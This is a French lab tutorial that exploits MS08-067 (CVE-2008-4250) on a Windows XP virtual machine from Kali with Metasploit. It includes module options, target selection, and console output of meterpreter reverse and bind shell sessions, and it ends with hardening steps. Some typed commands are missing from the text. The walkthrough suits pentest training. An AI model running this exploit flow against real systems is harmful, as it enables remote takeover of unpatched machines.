Bonjour, pour ce premier jour de l'année 2026!
Tout d'abord, bonne année et bonne santé à tout le monde.
Voici un petit tuto pour cette nouvelle année.
Installez Windows XP Professional x86 (32bit) SP3 FR, et un Kali Linux, dans des machines virtuelles (en configurant les cartes réseaux des deux machines virtuelles dans le même réseau).
Dans le WinXP, lancez une session Administrateur, puis, désactivez les mises à jour de WinXP, ainsi que son firewall. Tout le long du lab, restez connectés en Administrateur (ou un utilisateur ayant les privilèges Administrateur) (et oui, c'est exagéré, mais, c'est juste un test en lab…)
Configurez les deux machines WinXP et Kali, dans le même réseau, de préférence avec des ip statiques, que vous connaissez.
Nous allons exploiter la CVE-2008-4250, qui est la faille la plus exploité, connue, documenté, mais aussi la plus stable sous metasploit -> WinXP et la plus simple à mettre en place (mais aussi une des plus dangereuses, si le correctif n'est pas appliqué sur WinXP 32bit)
N.B. : Malheureusement, lorsque vous lancez un scan GVM sur votre Kali -> WinXP, ce dernier ne trouve pas la faille "CVE-2008-4250", car elle se trouve très difficile à détecter par GVM, et d'autres failles SMB RCE (Remote Code Execution), prennent le dessus, comme les CVE-2009-xxxx, etc… Malheureusement, vous devez connaître cette faille, pour pouvoir la tester (si vous avez d'autres suggestions, ou que vous voulez me corriger, c'est avec plaisir, publiez juste un petit message)
Exploitons-la à présent :
Lancez une recherche "microsoft bulletin CVE-2008-4250". Ouvrez le Microsoft Security bulletin MS08-067 (Vous pouvez le lire pour votre instruction).
Il s'agit bien donc du Bulletin de Sécurité Microsoft MS08-067. C'est bien de ce numéro qu'on va se servir pour définir l'exploit de la faille dans metasploit (et non du CVE).
Allez donc sur votre Kali Linux (de préférence mis à jour), puis, dans un shell (bash par ex., pas besoin d'être en root). Tapez à l'invite :
Validez, et attendez un peu le chargement et la présentation (cette dernière change à chaque fois)
Vous pouvez avoir l'aide de metasploit en tapant "help" à l'invite de commande. Ensuite,
A l'invite "msf>", tapez :
Validez. Ici, on recherche la faille du bulletin de sécurité Microsoft "ms08-067"
On voit ici :
msf > search ms08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
…
… Et surtout, ce qui nous intéresse :
-
exploit/windows/smb/ms08_067_netapi
On voit ici que cette faille est dans le module "netapi", et concerne le protocole SMB (Server Message Block). Tapez à l'invite de commande :
-
Vous obtenez ceci :
msf > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >
Le message :
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
Nous indique que comme aucun payload n'a été configuré, le payload "windows/meterpreter/reverse_tcp" a été pris par défaut. C'est de loin le meilleur pour moi, car on peut faire des téléchargements et des uploads et déplacements latéraux, faire une capture d'écran, entre autres. Nous le laissons donc par défaut.
N.B. : Brève explication à propos des shells proposés (bind et reverse):
-
- Un bind shell, est une connexion directe, tout ce qu'il y a de plus normal, la machine Kali se connecte à WinXP directement par un port. Celle-ci échoue souvent, car, les pare-feu autorisent certaines connexions (ceux définis par le système, et/ou ceux ouverts par les administrateurs, nécessaires), et, par défaut bloquent toutes les autres (inconnues), comme le port 4444 (ou autres aléatoires)
-
- Un reverse shell : Kali initie la connexion, puis, lance l'écoute sur un port donné de sa propre machine (Kali), et demande à WinXP, de se connecter sur ce port, et de là, vous obtenez un shell de la machine distante.
-
- Comme ChatGPT le dit :
- Un bind shell : viens chez moi
Un reverse shell : je viens chez toi
A partir de ce moment, on peut voir les options de l'exploit. Tapez :
-
○
msf exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see
https://docs.metasploit.com/
docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
On voit ici les options qu'on peut modifier à l'aide du mot-clé "set". Modifions d'abord l'OS de destination; "target". Pour voir les OS exploitables de cet exploit, tapez "show targets"
-
○
…
40 Windows XP SP3 Spanish (NX)
41 Windows XP SP3 Finnish (NX)
42 Windows XP SP3 French (NX)
43 Windows XP SP3 Hebrew (NX)
44 Windows XP SP3 Hungarian (NX)
45 Windows XP SP3 Italian (NX)
46 Windows XP SP3 Japanese (NX)
47 Windows XP SP3 Korean (NX)
48 Windows XP SP3 Dutch (NX)
49 Windows XP SP3 Norwegian (NX)
50 Windows XP SP3 Polish (NX)
51 Windows XP SP3 Portuguese - Brazilian (NX)
52 Windows XP SP3 Portuguese (NX)
53 Windows XP SP3 Russian (NX)
54 Windows XP SP3 Swedish (NX)
55 Windows XP SP3 Turkish (NX)
56 Windows 2003 SP1 English (NO NX)
57 Windows 2003 SP1 English (NX)
- …
On voit ici que notre OS concerné est bien :
-
42 Windows XP SP3 French (NX)
On doit donc le définir pour l'exploit :
-
Il y a aussi "RHOSTS" et "LHOST" à définir. Tapez donc (en remplaçant par vos codes IP perso) :
Voilà. C'est tout ce qu'il faut définir dans les options.
Maintenant que tout est bien configuré, vous pouvez faire un "show options" pour voir si vous n'avez pas commis d'erreur…
Si tout est correct, lançons l'exploit! Tapez :
-
○
- vous obtenez (si tout est correct) :
msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] 10.0.0.253:445 - Attempting to trigger the vulnerability...
[*] Sending stage (188998 bytes) to 10.0.0.253
[*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.253:1038) at 2025-12-31 21:37:17 +0100
meterpreter >
Magic! L'invite de commande "msf >", s'est transformée en "meterpreter >". C'est le signe que l'exploit a bien fonctionné. Maintenant, à votre guise d'exploiter le WinXP à partir de votre Kali, grâce à meterpreter! Vous pouvez vous servir de toutes les instructions Linux (comme ls, pwd, cd, etc…), mais aussi de "download", pour télécharger un fichier/répertorie ou "upload", pour envoyer un fichier/répertorie de votre Kali vers WinXP (vous pouvez taper "help", pour connaitre toutes les commandes disponibles).
Faites quelques lignes de commandes sur meterpreter, et allez voir les effets sur le WinXP. Oubliez pas, que pour quitter, vous devez taper "exit", car, si vous arrêtez la session improprement ([Ctrl]+[c]), ça va vous bloquer, pour réexploiter l'exploit, avec d'autres paramètres… Il faudra relancer la machine WinXP, dans ce cas, quitter metasploit, et recommencer depuis le début…
On peut essayer d'autres payloads (je vous avait dit qu'on s'est servi du payload par défaut). Tapez "exit", puis, à l'invite "msf >", saisissez :
-
○
-
…
130 payload/windows/shell_bind_tcp . normal No Windows Command Shell, Bind TCP Inline
131 payload/windows/shell_hidden_bind_tcp . normal No Windows Command Shell, Hidden Bind TCP Inline
132 payload/windows/shell_reverse_tcp . normal No
…
Pour changer de payload, (tout reste configuré comme on l'a fait déjà), tapez :
-
Ensuite, lancez l'exploit :
Résultat :
…
Shell Banner:
Microsoft Windows XP [version 5.1.2600]
-----
C:\WINDOWS\system32>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num ro de s rie du volume est 14C9-C7DE
R pertoire de C:\WINDOWS\system32
21/12/2025 02:25 <REP> .
21/12/2025 02:25 <REP> ..
19/12/2025 00:02 261 $winnt$.inf
…
- Voilà, c'est un "cmd" sur votre WinXP!
Vous pouvez tester (pour l'exploit "ms08-067")
- - payload/windows/meterpreter/bind_tcp
- payload/windows/meterpreter/reverse_tcp
- payload/windows/shell/bind_tcp
- payload/windows/shell/reverse_tcp
- payload/windows/shell_bind_tcp
- payload/windows/shell_reverse_tcp
Mais, il y en a peut-être d'autres qui fonctionnent aussi…
A la fin, comme un White Hat, ou un pentester, vous devez apprendre à sécuriser votre WinXP, afin que ce genre d'exploit ne se produise plus :
- - Mettez à jour Windows (Windows Update)
- Passez de la version x86 (32bits) à x64 (64bits)
- Si possible, désactiver SMBv1, pour ne le passer qu'à partir de SMBv2
- Activez, et configurez le firewall de Windows XP
- faire ceci en complément sur Windows Vista et Windows Server 2008 et supérieur (je n'ai pas testé…) :
- - netsh
netsh>rpc
netsh rpc>filter
netsh rpc filter>add rule layer=um actiontype=block
netsh rpc filter>add condition field=if_uuid matchtype=equal data=4b324fc8-1670-01d3-1278-5a47bf6ee188
netsh rpc filter>add filter
netsh rpc filter>quit
(entre autres)
Sources : ChatGPT et
https://www.it-connect.fr/chapitres/uti ... etasploit/